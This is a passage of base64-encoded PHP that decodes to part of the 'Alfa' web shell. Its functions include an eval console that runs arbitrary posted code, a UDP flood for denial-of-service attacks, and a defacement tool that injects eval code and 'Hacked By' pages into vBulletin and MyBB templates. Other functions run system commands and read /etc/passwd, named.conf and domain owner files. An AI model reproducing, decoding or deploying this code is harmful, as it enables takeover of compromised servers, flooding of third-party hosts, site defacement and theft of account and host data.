oZW1wdHkoJF9QT1NUWydhamF4J10pICYmICFlbXB0eSgkX1BPU1RbJ2FsZmExJ10pKQ0KJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnXSA9IGZhbHNlOw0KZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PENlbnRlcj48YSBocmVmPSMgb25jbGljaz0iZyhcJ3BocGV2YWxcJyxudWxsLFwnXCcsXCdpbmlcJykiPnwgSU5JX0lORk8gfCA8L2E+PGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdwaHBldmFsXCcsbnVsbCxcJ1wnLFwnaW5mb1wnKSI+IHwgcGhwaW5mbyB8PC9hPjxhIGhyZWY9IyBvbmNsaWNrPSJnKFwncGhwZXZhbFwnLG51bGwsXCdcJyxcJ2V4dGVuXCcpIj4gfCBleHRlbnNpb25zIHw8L2E+PC9jZW50ZXI+PGJyPjxmb3JtIG5hbWU9cGYgbWV0aG9kPXBvc3Qgb25zdWJtaXQ9ImcoXCdwaHBldmFsXCcsbnVsbCx0aGlzLmNvZGUudmFsdWUsXCdcJyk7IHJldHVybiBmYWxzZTsiPjx0ZXh0YXJlYSBuYW1lPWNvZGUgY2xhc3M9YmlnYXJlYSBpZD1QaHBDb2RlPicuKCFlbXB0eSgkX1BPU1RbJ2FsZmExJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydhbGZhMSddKTonJykuJzwvdGV4dGFyZWE+PGNlbnRlcj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9RXZhbCBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiPjwvY2VudGVyPic7DQplY2hvICc8L2Zvcm0+PHByZSBpZD1QaHBPdXRwdXQgc3R5bGU9IicuKGVtcHR5KCRfUE9TVFsnYWxmYTEnXSk/J2Rpc3BsYXk6bm9uZTsnOicnKS4nbWFyZ2luLXRvcDo1cHg7IiBjbGFzcz1tbDE+JzsNCmlmKCFlbXB0eSgkX1BPU1RbJ2FsZmExJ10pKSB7DQpvYl9zdGFydCgpOw0KZXZhbCgkX1BPU1RbJ2FsZmExJ10pOw0KZWNobyBodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKTsNCn0NCmVjaG8gJzwvcHJlPjwvZGl2Pic7DQphbGZhZm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhbGZhaGFzaCgpDQp7DQppZighZnVuY3Rpb25fZXhpc3RzKCdoZXgyYmluJykpIHtmdW5jdGlvbiBoZXgyYmluKCRwKSB7cmV0dXJuIGRlY2JpbihoZXhkZWMoJHApKTt9fQ0KaWYoIWZ1bmN0aW9uX2V4aXN0cygnYmluaGV4JykpIHtmdW5jdGlvbiBiaW5oZXgoJHApIHtyZXR1cm4gZGVjaGV4KGJpbmRlYygkcCkpO319DQppZighZnVuY3Rpb25fZXhpc3RzKCdoZXgyYXNjaWknKSkge2Z1bmN0aW9uIGhleDJhc2NpaSgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RyTGVuKCRwKTskaSs9Mil7JHIuPWNocihoZXhkZWMoJHBbJGldLiRwWyRpKzFdKSk7fXJldHVybiAkcjt9fQ0KaWYoIWZ1bmN0aW9uX2V4aXN0cygnYXNjaWkyaGV4JykpIHtmdW5jdGlvbiBhc2NpaTJoZXgoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0cmxlbigkcCk7KyskaSkkci49IHNwcmludGYoJyUwMlgnLG9yZCgkcFskaV0pKTtyZXR1cm4gc3RydG91cHBlcigkcik7fX0NCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2Z1bGxfdXJsZW5jb2RlJykpIHtmdW5jdGlvbiBmdWxsX3VybGVuY29kZSgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RybGVuKCRwKTsrKyRpKSRyLj0gJyUnLmRlY2hleChvcmQoJHBbJGldKSk7cmV0dXJuIHN0cnRvdXBwZXIoJHIpO319DQokc3RyaW5nVG9vbHMgPSBhcnJheSgNCidCYXNlNjQgZW5jb2RlJyA9PiAnYmFzZTY0X2VuY29kZScsDQonQmFzZTY0IGRlY29kZScgPT4gJ2Jhc2U2NF9kZWNvZGUnLA0KJ21kNSBoYXNoJyA9PiAnbWQ1JywNCidzaGExIGhhc2gnID0+ICdzaGExJywNCidjcnlwdCcgPT4gJ2NyeXB0JywNCidDUkMzMicgPT4gJ2NyYzMyJywNCidVcmwgZW5jb2RlJyA9PiAndXJsZW5jb2RlJywNCidVcmwgZGVjb2RlJyA9PiAndXJsZGVjb2RlJywNCidGdWxsIHVybGVuY29kZScgPT4gJ2Z1bGxfdXJsZW5jb2RlJywNCidIdG1sc3BlY2lhbGNoYXJzJyA9PiAnaHRtbHNwZWNpYWxjaGFycycsDQopOw0KYWxmYWhlYWQoKTsNCmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPic7DQppZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ2FsZmExJ10pKQ0KJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSBmYWxzZTsNCmVjaG8gIjxmb3JtIG9uU3VibWl0PSdnKG51bGwsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsdWUsdGhpcy5pbnB1dC52YWx1ZSk7IHJldHVybiBmYWxzZTsnPjxzZWxlY3QgbmFtZT0nc2VsZWN0VG9vbCc+IjsNCmZvcmVhY2goJHN0cmluZ1Rvb2xzIGFzICRrID0+ICR2KQ0KZWNobyAiPG9wdGlvbiB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCR2KS4iJz4iLiRrLiI8L29wdGlvbj4iOw0KZWNobyAiPC9zZWxlY3Q+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jy8+PGJyPjx0ZXh0YXJlYSBuYW1lPSdpbnB1dCcgc3R5bGU9J21hcmdpbi10b3A6NXB4JyBjbGFzcz1iaWdhcmVhPiIuKGVtcHR5KCRfUE9TVFsnYWxmYTEnXSk/Jyc6aHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydhbGZhMiddKSkuIjwvdGV4dGFyZWE+PC9mb3JtPjxwcmUgY2xhc3M9J21sMScgc3R5bGU9JyIuKGVtcHR5KCRfUE9TVFsnYWxmYTEnXSk/J2Rpc3BsYXk6bm9uZTsnOicnKS4ibWFyZ2luLXRvcDo1cHgnIGlkPSdzdHJPdXRwdXQnPiI7DQppZighZW1wdHkoJF9QT1NUWydhbGZhMSddKSkgew0KaWYoaW5fYXJyYXkoJF9QT1NUWydhbGZhMSddLCAkc3RyaW5nVG9vbHMpKWVjaG8gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2FsZmExJ10oJF9QT1NUWydhbGZhMiddKSk7DQp9DQplY2hvICI8L2Rpdj4iOw0KYWxmYUZvb3RlcigpOw0KfQ0KZnVuY3Rpb24gYWxmYWRvcygpDQp7DQphbGZhaGVhZCgpOw0KZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+JzsNCmlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSYmIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSkpDQokX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IGZhbHNlOw0KZWNobyAnPGNlbnRlcj48c3Bhbj58IFVEUCB8PC9zcGFuPjxicj48YnI+PGZvcm0gb25TdWJtaXQ9ImcobnVsbCxudWxsLHRoaXMudWRwaG9zdC52YWx1ZSx0aGlzLnVkcHRpbWUudmFsdWUsdGhpcy51ZHBwb3J0LnZhbHVlKTsgcmV0dXJuIGZhbHNlOyIgbWV0aG9kPVBPU1Q+PHNwYW4+SG9zdCA6IDwvc3Bhbj48aW5wdXQgbmFtZT0idWRwaG9zdCIgdHlwZT0idGV4dCIgc2l6ZT0iMjUiIC8+PHNwYW4+IFRpbWUgOiA8L3NwYW4+PGlucHV0IG5hbWU9InVkcHRpbWUiIHR5cGU9InRleHQiIHNpemU9IjE1IiAvPjxzcGFuPiBQb3J0IDogPC9zcGFuPjxpbnB1dCBuYW1lPSJ1ZHBwb3J0IiB0eXBlPSJ0ZXh0IiBzaXplPSIxMCIgLz48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iPj4iIC8+PC9mb3JtPjwvY2VudGVyPic7DQplY2hvICI8cHJlIGNsYXNzPSdtbDEnIHN0eWxlPSciLihlbXB0eSgkX1BPU1RbJ2FsZmExJ10pPydkaXNwbGF5Om5vbmU7JzonJykuIm1hcmdpbi10b3A6NXB4JyA+IjsNCmlmKCFlbXB0eSgkX1BPU1RbJ2FsZmExJ10pICYmICFlbXB0eSgkX1BPU1RbJ2FsZmEyJ10pICYmICFlbXB0eSgkX1BPU1RbJ2FsZmEzJ10pKQ0Kew0KJHBhY2tldHM9MDsNCmlnbm9yZV91c2VyX2Fib3J0KHRydWUpOw0KJGV4ZWNfdGltZT0kX1BPU1RbJ2FsZmEyJ107DQokdGltZT10aW1lKCk7DQokbWF4X3RpbWU9JGV4ZWNfdGltZSskdGltZTsNCiRob3N0PSRfUE9TVFsnYWxmYTEnXTsNCiRwb3J0dWRwPSRfUE9TVFsnYWxmYTMnXTsNCmZvcigkaT0wOyRpPDY1MDAwOyRpKyspDQp7DQokb3V0IC49ICdYJzsNCn0NCndoaWxlKDEpew0KJHBhY2tldHMrKzsNCmlmKHRpbWUoKSA+ICRtYXhfdGltZSl7DQpicmVhazsNCn0NCiRmcCA9IGZzb2Nrb3BlbigndWRwOi8vJy4kaG9zdCwgJHBvcnR1ZHAsICRlcnJubywgJGVycnN0ciwgNSk7DQppZigkZnApew0KZndyaXRlKCRmcCwgJG91dCk7DQpmY2xvc2UoJGZwKTsNCn0NCn0NCmVjaG8gIiRwYWNrZXRzICgiIC4gcm91bmQoKCRwYWNrZXRzKjY1KS8xMDI0LCAyKSAuICIgTUIpIHBhY2tldHMgYXZlcmFnaW5nICIuIHJvdW5kKCRwYWNrZXRzLyRleGVjX3RpbWUsIDIpIC4gIiBwYWNrZXRzIHBlciBzZWNvbmQiOw0KZWNobyAiPC9wcmU+IjsNCn0NCmVjaG8gJzwvZGl2Pic7DQphbGZhZm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhbGZhSW5kZXhDaGFuZ2VyKCl7DQphbGZhaGVhZCgpOw0KZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PHNjcmlwdD5hbGZhMV89YWxmYTJfPWFsZmEzXz1hbGZhNF89IiI7PC9zY3JpcHQ+PGNlbnRlcj48aDM+PHNwYW4+fCBJbmRleCBDaGFuZ2VyIHw8L3NwYW4+PC9oMz48Y2VudGVyPjxoMz48YSBocmVmPSMgb25jbGljaz0iZyhcJ0luZGV4Q2hhbmdlclwnLG51bGwsXCd2YlwnLG51bGwpIj58IHZCdWxsZXRpbiB8IDwvYT48YSBocmVmPSMgb25jbGljaz0iZyhcJ0luZGV4Q2hhbmdlclwnLG51bGwsbnVsbCxcJ215YmJcJykiPnwgTXlCQiB8IDwvYT48L2gzPjwvY2VudGVyPic7DQppZihpc3NldCgkX1BPU1RbJ2FsZmExJ10pICYmICgkX1BPU1RbJ2FsZmExJ10gPT0gJ3ZiJykpIHsNCmVjaG8gIjxzY3JpcHQ+YWxmYTZfPWFsZmE3Xz1hbGZhOF89YWxmYTlfPWFsZmExMF89XCJcIjs8L3NjcmlwdD48Y2VudGVyPjx0YWJsZSBib3JkZXI9MCB3aWR0aD0nMTAwJSc+DQo8dHI+PHRkPg0KPGNlbnRlcj48Yj48Zm9udCBjb2xvcj1cIiNGRkZGMDFcIj49PTwvZm9udD4gPGZvbnQgY29sb3I9XCIjMDBBMjIwXCI+dkJ1bGxldGluPC9mb250PiA8Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5JbmRleDwvZm9udD4gPGZvbnQgY29sb3I9XCIjRkYwMDAwXCI+Q2hhbmdlcjwvZm9udD48Zm9udCBjb2xvcj1cIiNGRkZGMDFcIj4gPT08L2ZvbnQ+PC9iPg0KPHA+IDxjZW50ZXI+PGZvcm0gb25TdWJtaXQ9XCJnKCdJbmRleENoYW5nZXInLG51bGwsJ3ZiJyxudWxsLG51bGwsbnVsbCxudWxsLHRoaXMuZGJ1LnZhbHVlLHRoaXMuZGJuLnZhbHVlLHRoaXMuZGJwLnZhbHVlLHRoaXMuZGJoLnZhbHVlLHRoaXMuaW5kZXgudmFsdWUpOyByZXR1cm4gZmFsc2U7XCIgbWV0aG9kPVBPU1Q+DQo8dGFibGUgYm9yZGVyPTE+DQo8dHI+PHRkPjxmb250IGNvbG9yPScjRkZGRkZGJz48Yj5NeXNxbCBIb3N0PC9iPjwvZm9udD48L3RkPg0KPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1kYmggdmFsdWU9bG9jYWxob3N0IHNpemU9JzUwJyA+PC90ZD48L3RyPg0KPHRyPjx0ZD48Zm9udCBjb2xvcj0nI0ZGRkZGRic+PGI+RGIgVXNlcjwvYj48YnI+PC9mb250PjwvdGQ+DQo8dGQ+IDxpbnB1dCB0eXBlPXRleHQgbmFtZT1kYnUgc2l6ZT0nNTAnID48L3RkPjwvdHI+DQo8dHI+PHRkPjxmb250IGNvbG9yPScjRkZGRkZGJz48Yj5EYiBOYW1lPC9iPjxicj48L2ZvbnQ+PC90ZD4NCjx0ZD4gPGlucHV0IHR5cGU9dGV4dCBuYW1lPWRibiBzaXplPSc1MCcgPjwvdGQ+PC90cj4NCjx0cj48dGQ+PGZvbnQgY29sb3I9JyNGRkZGRkYnPjxiPkRiIFBhc3M8L2I+PGJyPjwvZm9udD48L3RkPg0KPHRkPiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZGJwIHNpemU9JzUwJyA+PC90ZD48L3RyPg0KPC90YWJsZT4NCjxmb250IGNvbG9yPScjRkZGRjAxJyBzaXplPVwiM1wiPjxiPnlvdXIgaW5kZXg8L2I+PC9mb250Pjxicj4NCjx0ZXh0YXJlYSBuYW1lPWluZGV4IHJvd3M9JzE5JyBjb2xzPScxMDMnIHN0eWxlPSdjb2xvcjogI0ZGRkZGRjsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMCc+PHRpdGxlPkhhY2tlZCBCeSBTb2xlIFNhZCAmIEludmlzaWJsZTwvdGl0bGU+PGI+SGFja2VkIEJ5IFNvbGUgU2FkICYgSW52aXNpYmxlPC9iPjwvdGV4dGFyZWE+PGJyPg0KPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+DQo8L2Zvcm0+PC9jZW50ZXI+PC90ZD48L3RyPg0KPC90YWJsZT48L2NlbnRlcj4iOw0KaWYoaXNzZXQoJF9QT1NUWydhbGZhNiddKSkgew0KJHMwbGV2aXNpYmxlPSJQb3dlcmVkIEJ5IFNvbGV2aXNpYmxlIjsNCiRkYnUgPSAkX1BPU1RbJ2FsZmE2J107DQokZGJuID0gJF9QT1NUWydhbGZhNyddOw0KJGRicCA9ICRfUE9TVFsnYWxmYTgnXTsNCiRkYmggPSAkX1BPU1RbJ2FsZmE5J107DQokaW5kZXggPSAkX1BPU1RbJ2FsZmExMCddOw0KJGluZGV4PXN0cl9yZXBsYWNlKCJcJyIsIiciLCRpbmRleCk7DQokc2V0X2luZGV4ID0gIntcJHtldmFsKGJhc2U2NF9kZWNvZGUoXCciOw0KJHNldF9pbmRleCAuPSBiYXNlNjRfZW5jb2RlKCJlY2hvIFwiJGluZGV4XCI7Iik7DQokc2V0X2luZGV4IC49ICJcJykpfX17XCR7ZXhpdCgpfX08L3RleHRhcmVhPiI7DQppZiAoIWVtcHR5KCRkYmgpICYmICFlbXB0eSgkZGJ1KSAmJiAhZW1wdHkoJGRibikgJiYgIWVtcHR5KCRpbmRleCkpDQp7DQpteXNxbF9jb25uZWN0KCRkYmgsJGRidSwkZGJwKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7DQpteXNxbF9zZWxlY3RfZGIoJGRibikgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KJGxvbGkxID0gIlVQREFURSB0ZW1wbGF0ZSBTRVQgdGVtcGxhdGU9JyIuJHNldF9pbmRleC4iIi4kczBsZXZpc2libGUuIicgV0hFUkUgdGl0bGU9J3NwYWNlcl9vcGVuJyI7DQokbG9saTIgPSAiVVBEQVRFIHRlbXBsYXRlIFNFVCB0ZW1wbGF0ZT0nIi4kc2V0X2luZGV4LiIiLiRzMGxldmlzaWJsZS4iJyBXSEVSRSB0aXRsZT0nRk9SVU1IT01FJyI7DQokbG9saTMgPSAiVVBEQVRFIHN0eWxlIFNFVCBjc3M9JyIuJHNldF9pbmRleC4iIi4kczBsZXZpc2libGUuIicsIHN0eWxldmFycz0nJywgY3NzY29sb3JzPScnLCBlZGl0b3JzdHlsZXM9JyciOw0KJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRsb2xpMSkgb3IgZGllIChteXNxbF9lcnJvcigpKTsNCiRyZXN1bHQgPSBteXNxbF9xdWVyeSgkbG9saTIpIG9yIGRpZSAobXlzcWxfZXJyb3IoKSk7DQokcmVzdWx0ID0gbXlzcWxfcXVlcnkoJGxvbGkzKSBvciBkaWUgKG15c3FsX2Vycm9yKCkpOw0KZWNobyAiPHNjcmlwdD5hbGVydCgnVkIgaW5kZXggY2hhbmdlZCcpOzwvc2NyaXB0PiI7DQp9DQp9DQp9DQppZihpc3NldCgkX1BPU1RbJ2FsZmEyJ10pICYmICgkX1BPU1RbJ2FsZmEyJ10gPT0gJ215YmInKSkgew0KZWNobyAiPHNjcmlwdD5hbGZhNl89YWxmYTdfPWFsZmE4Xz1hbGZhOV89YWxmYTEwXz1cIlwiOzwvc2NyaXB0PjxjZW50ZXI+PHRhYmxlIGJvcmRlcj0wIHdpZHRoPScxMDAlJz4NCjx0cj48dGQ+DQo8Y2VudGVyPjxiPjxmb250IGNvbG9yPVwiI0ZGRkYwMVwiPj09PC9mb250PiA8Zm9udCBjb2xvcj1cIiMwMEEyMjBcIj5NeWJiPC9mb250PiA8Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5JbmRleDwvZm9udD4gPGZvbnQgY29sb3I9XCIjRkYwMDAwXCI+Q2hhbmdlcjwvZm9udD48Zm9udCBjb2xvcj1cIiNGRkZGMDFcIj4gPT08L2ZvbnQ+PC9iPg0KPHA+PGNlbnRlcj48Zm9ybSBvblN1Ym1pdD1cImcoJ0luZGV4Q2hhbmdlcicsbnVsbCwnbnVsbCcsJ215YmInLG51bGwsbnVsbCxudWxsLHRoaXMubXliYmRiaC52YWx1ZSx0aGlzLm15YmJkYnUudmFsdWUsdGhpcy5teWJiZGJuLnZhbHVlLHRoaXMubXliYmRicC52YWx1ZSx0aGlzLm15YmJpbmRleC52YWx1ZSk7IHJldHVybiBmYWxzZTtcIiBtZXRob2Q9UE9TVCBhY3Rpb249Jyc+DQo8dGFibGUgYm9yZGVyPTE+DQo8dHI+PHRkPjxmb250IGNvbG9yPScjRkZGRkZGJz48Yj5NeXNxbCBIb3N0PC9iPjwvZm9udD48L3RkPg0KPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1teWJiZGJoIHZhbHVlPWxvY2FsaG9zdCBzaXplPSc1MCcgPjwvdGQ+PC90cj4NCjx0cj48dGQ+PGZvbnQgY29sb3I9JyNGRkZGRkYnPjxiPkRiIFVzZXI8L2I+PGJyPjwvZm9udD48L3RkPg0KPHRkPiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9bXliYmRidSBzaXplPSc1MCcgPjwvdGQ+PC90cj4NCjx0cj48dGQ+PGZvbnQgY29sb3I9JyNGRkZGRkYnPjxiPkRiIE5hbWU8L2I+PGJyPjwvZm9udD48L3RkPg0KPHRkPiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9bXliYmRibiBzaXplPSc1MCcgPjwvdGQ+PC90cj4NCjx0cj48dGQ+PGZvbnQgY29sb3I9JyNGRkZGRkYnPjxiPkRiIFBhc3M8L2I+PGJyPjwvZm9udD48L3RkPg0KPHRkPiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9bXliYmRicCBzaXplPSc1MCcgPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8Zm9udCBjb2xvcj0nI0ZGRkYwMScgc2l6ZT1cIjNcIj48Yj55b3VyIGluZGV4PC9iPjwvZm9udD48YnI+DQo8dGV4dGFyZWEgbmFtZT1teWJiaW5kZXggcm93cz0nMTknIGNvbHM9JzEwMycgc3R5bGU9J2NvbG9yOiAjRkZGRkZGOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwJz4NCjx0aXRsZT5IYWNrZWQgQnkgU29sZSBTYWQgJiBJbnZpc2libGU8L3RpdGxlPjxiPkhhY2tlZCBCeSBTb2xlIFNhZCAmIEludmlzaWJsZTwvYj48L3RleHRhcmVhPjxicj4NCjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nID4NCjwvZm9ybT48L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT48L2NlbnRlcj4iOw0KaWYoaXNzZXQoJF9QT1NUWydhbGZhNiddKSkgew0KJG15YmJfZGJoID0gJF9QT1NUWydhbGZhNiddOw0KJG15YmJfZGJ1ID0gJF9QT1NUWydhbGZhNyddOw0KJG15YmJfZGJuID0gJF9QT1NUWydhbGZhOCddOw0KJG15YmJfZGJwID0gJF9QT1NUWydhbGZhOSddOw0KJG15YmJfaW5kZXggPSAkX1BPU1RbJ2FsZmExMCddOw0KaWYgKCFlbXB0eSgkbXliYl9kYmgpICYmICFlbXB0eSgkbXliYl9kYnUpICYmICFlbXB0eSgkbXliYl9kYm4pICYmICFlbXB0eSgkbXliYl9pbmRleCkpDQp7DQpteXNxbF9jb25uZWN0KCRteWJiX2RiaCwkbXliYl9kYnUsJG15YmJfZGJwKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7DQpteXNxbF9zZWxlY3RfZGIoJG15YmJfZGJuKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7DQokcHJlZml4PSJteWJiXyI7DQokbG9saTcgPSAiVVBEQVRFICIuJHByZWZpeC4idGVtcGxhdGVzIFNFVCB0ZW1wbGF0ZT0nIi4kbXliYl9pbmRleC4iJyBXSEVSRSB0aXRsZT0naW5kZXgnIjsNCiRyZXN1bHQgPSBteXNxbF9xdWVyeSgkbG9saTcpIG9yIGRpZSAobXlzcWxfZXJyb3IoKSk7DQplY2hvICI8c2NyaXB0PmFsZXJ0KCdNeUJCIGluZGV4IGNoYW5nZWQnKTs8L3NjcmlwdD4iOw0KfQ0KfQ0KfQ0KZWNobyAiPC9kaXY+IjsNCmFsZmFmb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFsZmFwcm9jKCkNCnsNCmFsZmFoZWFkKCk7DQplY2hvICI8RGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPiI7DQppZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ2FsZmExJ10pKQ0KJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSBmYWxzZTsNCmlmKCRHTE9CQUxTWydzeXMnXT09IndpbiIpDQp7DQokcHJvY2Vzcz1hcnJheSgNCiJTeXN0ZW0gSW5mbyIgPT4ic3lzdGVtaW5mbyIsDQoiQWN0aXZlIENvbm5lY3Rpb25zIiA9PiAibmV0c3RhdCAtYW4iLA0KIlJ1bm5pbmcgU2VydmljZXMiID0+ICJuZXQgc3RhcnQiLA0KIlVzZXIgQWNjb3VudHMiID0+ICJuZXQgdXNlciIsDQoiU2hvdyBDb21wdXRlcnMiID0+ICJuZXQgdmlldyIsDQoiQVJQIFRhYmxlIiA9PiAiYXJwIC1hIiwNCiJJUCBDb25maWd1cmF0aW9uIiA9PiAiaXBjb25maWcgL2FsbCINCik7DQp9DQplbHNlDQp7DQokcHJvY2Vzcz1hcnJheSgNCiJQcm9jZXNzIHN0YXR1cyIgPT4gInBzIGF1eCIsDQoiU3lzbG9nIiA9PiJjYXQgL2V0Yy9zeXNsb2cuY29uZiIsDQoiUmVzb2x2IiA9PiAiY2F0IC9ldGMvcmVzb2x2LmNvbmYiLA0KIkhvc3RzIiA9PiJjYXQgL2V0Yy9ob3N0cyIsDQoiQ3B1aW5mbyI9PiJjYXQgL3Byb2MvY3B1aW5mbyIsDQoiVmVyc2lvbiI9PiJjYXQgL3Byb2MvdmVyc2lvbiIsDQoiU2JpbiI9PiJscyAtYWwgL3Vzci9zYmluIiwNCiJJbnRlcnJ1cHRzIj0+ImNhdCAvcHJvYy9pbnRlcnJ1cHRzIiwNCiJsc2F0dHIiPT4ibHNhdHRyIC12YSIsDQoiVXB0aW1lIj0+InVwdGltZSIsDQoiRnN0YWIiID0+ImNhdCAvZXRjL2ZzdGFiIiwNCik7fQ0KZm9yZWFjaCgkcHJvY2VzcyBhcyAkbiA9PiAkbGluaykNCnsNCmVjaG8gJzxhIGhyZWY9IiMiIG9uY2xpY2s9ImcobnVsbCxudWxsLFwnJy4kbGluay4nXCcpIj4gfCAnLiRuLicgfCA8L2E+JzsNCn0NCmVjaG8gIjwvY2VudGVyPiI7DQppZighZW1wdHkoJF9QT1NUWydhbGZhMSddKSkNCnsNCmVjaG8gIjxwcmUgY2xhc3M9J21sMScgc3R5bGU9J21hcmdpbi10b3A6NXB4JyA+IjsNCmVjaG8gYWxmYUV4KCRfUE9TVFsnYWxmYTEnXSk7DQplY2hvICc8L3ByZT4nOw0KfQ0KZWNobyAiPC9kaXY+IjsNCmFsZmFmb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFsZmFzYWZlKCkNCnsNCmFsZmFoZWFkKCk7DQplY2hvICI8ZGl2IGNsYXNzPWhlYWRlcj48c2NyaXB0PmFsZmExXz1hbGZhMl89YWxmYTNfPWFsZmE0Xz1hbGZhNV89YWxmYTZfPWFsZmE3Xz1hbGZhOF89XCJcIjwvc2NyaXB0PjxjZW50ZXI+PGgzPjxzcGFuPnwgQXR1byBCeVBhc3NlciB8PC9zcGFuPjwvaDM+IjsNCmVjaG8gJzxoMz48YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsXCdwaHAuaW5pXCcsbnVsbCkiPnwgUEhQLklOSSB8IDwvYT48YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsbnVsbCxcJ2luaVwnKSI+fCAuaHRhY2Nlc3MoYXBhY2hlKSB8IDwvYT48YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsbnVsbCxudWxsLFwncGxcJykiPnwgLmh0YWNjZXNzKExpdGVTcGVlZCkgfDwvYT48YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsbnVsbCxudWxsLG51bGwsXCdwYXNzd2RcJykiPnwgUmVhZC1QYXNzd2QgfCA8L2E+PGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsXCd1c2Vyc1wnKSI+fCBSZWFkLVVzZXJzIHwgPC9hPjxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnc2FmZVwnLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLFwndmFsaWFzZXNcJykiPnwgR2V0LVVzZXIgfCA8L2E+PGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdzYWZlXCcsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLFwnZG9tYWluc1wnKSI+fCBHZXQtRG9tYWlucyB8IDwvYT48L2NlbnRlcj48L2gzPic7DQppZighZW1wdHkoJF9QT1NUWydhbGZhOCddKSAmJiBpc3NldCgkX1BPU1RbJ2FsZmE4J10pID09ICdkb21haW5zJykNCntpZighQGZpbGVfZXhpc3RzKCIvZXRjL3ZpcnR1YWwvZG9tYWlub3duZXJzIikpew0KZWNobyAiPHByZSBpZD1cInN0ck91dHB1dFwiIHN0eWxlPVwibWFyZ2luLXRvcDo1cHhcIiBjbGFzcz1cIm1sMVwiPjxicj4iOw0KJHNvbGV2aXNpYmxlOSA9IEBmaWxlKCcvZXRjL25hbWVkLmNvbmYnKTsNCmZvcmVhY2goJHNvbGV2aXNpYmxlOSBhcyAkc29sZXZpc2libGUxMyl7DQppZihAZXJlZ2koJ3pvbmUnLCRzb2xldmlzaWJsZTEzKSl7DQpwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsJHNvbGV2aXNpYmxlMTMsJHNvbGV2aXNpYmxlMTQpOw0KaWYoc3RybGVuKHRyaW0oJHNvbGV2aXNpYmxlMTRbMV1bMF0pKSA+IDIpew0KZWNobyAkc29sZXZpc2libGUxNFsxXVswXS4nPGJyPic7DQp9fX0NCn1lbHNlew0KZWNobyAiPHByZSBpZD1cInN0ck91dHB1dFwiIHN0eWxlPVwibWFyZ2luLXRvcDo1cHhcIiBjbGFzcz1cIm1sMVwiPjxicj4iLg0KJHVzZXJzID0gQGZpbGUoIi9ldGMvdmlydHVhbC9kb21haW5vd25lcnMiKTsNCmZvcmVhY2goJHVzZXJzIGFzICRib3opew0KJGRvbSA9IGV4cGxvZGUoIjoiLCRib3opOw0KZWNobyAkZG9tWzBdLiJcbiI7DQp9fX0NCmlmKCFlbXB0eSgkX1BPU1RbJ2FsZmE2J10pICYmIGlzc2V0KCRfUE9TVFsnYWxmYTYnXSkgPT0gJ3ZhbGlhc2VzJykNCnsNCmVjaG8gJzxjZW50ZXI+PHNjcmlwdD5hbGZhNl89YWxmYTdfPWFsZmE5Xz1cIlwiPC9zY3JpcHQ+DQo8Zm9ybSBvb